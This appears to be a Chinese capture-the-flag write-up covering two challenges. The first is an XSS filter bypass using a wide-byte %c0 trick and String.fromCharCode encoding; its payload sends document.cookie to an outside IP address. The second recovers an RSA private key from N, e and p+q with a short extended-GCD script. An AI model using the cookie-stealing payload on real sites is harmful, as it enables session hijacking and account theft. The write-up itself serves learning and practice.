XSS2 & global page

XSS2 & global page

——XSS2——

参考:

分析:

XSS2绕过和XSS1绕过是一样的,都是对前后双引号进行绕过,但是XSS2过滤方法是把每个输入字符前加一个\反斜杠,所以利用宽字节绕过将XSS1的payload进行修改即可。
首先在双引号的转义%22前加上%c0把前面的双引号闭合,剩余部分只能使用编码来解决。使用string.fromcharcode()对后面部分编码来绕过。

1
2
编码前payload:%c0%22;decument.write("<script>document.location='http://118.190.246.63/get-cookie.php?x='+document.cookie;</script>");//
编码后: %c0%22;document.write(String.fromCharCode(34,60,105,109,103,32,115,114,99,61,104,116,116,112,58,47,47,49,49,56,46,49,57,48,46,50,52,54,46,54,51,47,103,101,116,45,99,111,111,107,105,101,46,112,104,112,63,120,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,32,47,62,34));//

注意宽字节绕过在Wired filter ce’shi测试时要在地址栏直接输入,否则无法绕过
在xss界面输入相应payload和MD验证码,就可以在服务器获得flag


—–EasyTrick——

参考:

步骤如下:

1
2
3
4
5
找出两个互为素数的 p 和 q;
计算 N = p * q;
计算 φ(N) = φ(p * q) = (p-1) * (q-1);
找出一个 e,1 < e < φ(N),且e与φ(N) 互质
根据 e * d ≡ 1(mod φ(N))

分析:

这道题我们先直接在虚拟机链接所给的nccat,可以知道,本题给出了N、e、p+q的值,那么思路就是

1
2
3
4
已知数据:p + q 、N(p * q)、e
所求数据:d(私钥)
e * d ≡ 1 (mod φ(n) )
e * d – k * φ(n) = 1

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def ex_gcd(a,b):
if b == 0:
return 1,0,a
else:
x,y,q = ex_gcd(b,a%b)
x,y = y,(x-(a//b)*y)
print ("a%b = ",a%b,"x =",x,"y =",y)
return x,y,q
N = int(input("input N:"))
P_Q = int(input("input P+Q :"))
a = int(input("please input e: "))
b = N-P_Q+1
x,y,q = ex_gcd(a,b)
print("x:",x)
print ("y",y)
print("e*d+k*fn = ",a*x+b*y)

每次给的p+q都不同,所以算出来的d(就是程序中的x)也不一样
进行交互得到flag